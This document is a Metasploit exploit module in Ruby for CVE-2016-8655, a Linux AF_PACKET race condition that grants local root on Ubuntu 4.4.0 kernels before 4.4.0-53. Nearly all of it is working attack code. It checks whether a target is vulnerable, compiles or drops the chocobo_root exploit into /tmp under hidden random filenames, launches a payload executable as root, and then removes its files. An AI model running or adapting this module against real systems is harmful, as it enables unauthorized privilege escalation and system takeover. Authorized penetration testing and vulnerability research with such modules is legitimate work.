Linux 4.4.0 < 4.4.0-53 - 'AF_PACKET chocobo_root' Local Privilege Escalation (Metasploit)
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local Rank = GoodRanking include Msf::Post::File include Msf::Post::Linux::Priv include Msf::Post::Linux::System include Msf::Post::Linux::Kernel include Msf::Exploit::EXE include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'AF_PACKET chocobo_root Privilege Escalation', 'Description' => %q{ This module exploits a race condition and use-after-free in the packet_set_ring function in net/packet/af_packet.c (AF_PACKET) in the Linux kernel to execute code as root (CVE-2016-8655). The bug was initially introduced in 2011 and patched in 2016 in version 4.4.0-53.74, potentially affecting a large number of kernels; however this exploit targets only systems using Ubuntu (Trusty / Xenial) kernels 4.4.0 < 4.4.0-53, including Linux distros based on Ubuntu, such as Linux Mint. The target system must have unprivileged user namespaces enabled and two or more CPU cores. Bypasses for SMEP, SMAP and KASLR are included. Failed exploitation may crash the kernel. This module has been tested successfully on Linux Mint 17.3 (x86_64); Linux Mint 18 (x86_64); and Ubuntu 16.04.2 (x86_64) with kernel versions 4.4.0-45-generic and 4.4.0-51-generic. }, 'License' => MSF_LICENSE, 'Author' => [ 'rebel', # Discovery and chocobo_root.c exploit 'Brendan Coles' # Metasploit ], 'DisclosureDate' => 'Aug 12 2016', 'Platform' => [ 'linux' ], 'Arch' => [ ARCH_X86, ARCH_X64 ], 'SessionTypes' => [ 'shell', 'meterpreter' ], 'Targets' => [[ 'Auto', {} ]], 'Privileged' => true, 'References' => [ [ 'AKA', 'chocobo_root.c' ], [ 'EDB', '40871' ], [ 'CVE', '2016-8655' ], [ 'BID', '94692' ], [ 'URL', 'http://seclists.org/oss-sec/2016/q4/607' ], [ 'URL', 'http://seclists.org/oss-sec/2016/q4/att-621/chocobo_root_c.bin' ], [ 'URL', 'https://github.com/bcoles/kernel-exploits/blob/master/CVE-2016-8655/chocobo_root.c' ], [ 'URL', 'https://bitbucket.org/externalist/1day_exploits/src/master/CVE-2016-8655/CVE-2016-8655_chocobo_root_commented.c' ], [ 'URL', 'https://usn.ubuntu.com/3151-1/' ], [ 'URL', 'https://www.securitytracker.com/id/1037403' ], [ 'URL', 'https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=84ac7260236a49c79eede91617700174c2c19b0c' ] ], 'DefaultTarget' => 0)) register_options [ OptInt.new('TIMEOUT', [ true, 'Race timeout (seconds)', '600' ]), OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', %w(Auto True False) ]), OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]), ] end def timeout datastore['TIMEOUT'].to_i end def base_dir datastore['WritableDir'].to_s end def upload(path, data) print_status "Writing '#{path}' (#{data.size} bytes) ..." rm_f path write_file path, data end def upload_and_chmodx(path, data) upload path, data cmd_exec "chmod +x '#{path}'" end def upload_and_compile(path, data) upload "#{path}.c", data gcc_cmd = "gcc -o #{path} #{path}.c -lpthread" if session.type.eql? 'shell' gcc_cmd = "PATH=$PATH:/usr/bin/ #{gcc_cmd}" end output = cmd_exec gcc_cmd rm_f "#{path}.c" unless output.blank? print_error output fail_with Failure::Unknown, "#{path}.c failed to compile" end cmd_exec "chmod +x #{path}" end def exploit_data(file) path = ::File.join Msf::Config.data_directory, 'exploits', 'CVE-2016-8655', file fd = ::File.open path, 'rb' data = fd.read fd.stat.size fd.close data end def live_compile? return false unless datastore['COMPILE'].eql?('Auto') || datastore['COMPILE'].eql?('True') if has_gcc? vprint_good 'gcc is installed' return true end unless datastore['COMPILE'].eql? 'Auto' fail_with Failure::BadConfig, 'gcc is not installed. Compiling will fail.' end end def check version = kernel_release unless version =~ /^4\.4\.0-(21|22|24|28|31|34|36|38|42|43|45|47|51)-generic/ vprint_error "Linux kernel version #{version} is not vulnerable" return CheckCode::Safe end vprint_good "Linux kernel version #{version} is vulnerable" arch = kernel_hardware unless arch.include? 'x86_64' vprint_error "System architecture #{arch} is not supported" return CheckCode::Safe end vprint_good "System architecture #{arch} is supported" cores = get_cpu_info[:cores].to_i min_required_cores = 2 unless cores >= min_required_cores vprint_error "System has less than #{min_required_cores} CPU cores" return CheckCode::Safe end vprint_good "System has #{cores} CPU cores" unless userns_enabled? vprint_error 'Unprivileged user namespaces are not permitted' return CheckCode::Safe end vprint_good 'Unprivileged user namespaces are permitted' CheckCode::Appears end def exploit if check != CheckCode::Appears fail_with Failure::NotVulnerable, 'Target is not vulnerable' end if is_root? fail_with Failure::BadConfig, 'Session already has root privileges' end unless cmd_exec("test -w '#{base_dir}' && echo true").include? 'true' fail_with Failure::BadConfig, "#{base_dir} is not writable" end # Upload exploit executable executable_name = ".#{rand_text_alphanumeric rand(5..10)}" executable_path = "#{base_dir}/#{executable_name}" if live_compile? vprint_status 'Live compiling exploit on system...' upload_and_compile executable_path, exploit_data('chocobo_root.c') else vprint_status 'Dropping pre-compiled exploit on system...' upload_and_chmodx executable_path, exploit_data('chocobo_root') end # Upload payload executable payload_path = "#{base_dir}/.#{rand_text_alphanumeric rand(5..10)}" upload_and_chmodx payload_path, generate_payload_exe # Launch exploit print_status "Launching exploit (Timeout: #{timeout})..." output = cmd_exec "echo '#{payload_path} & exit' | #{executable_path}", nil, timeout output.each_line { |line| vprint_status line.chomp } print_status "Cleaning up #{payload_path} and #{executable_path}.." rm_f executable_path rm_f payload_path end end |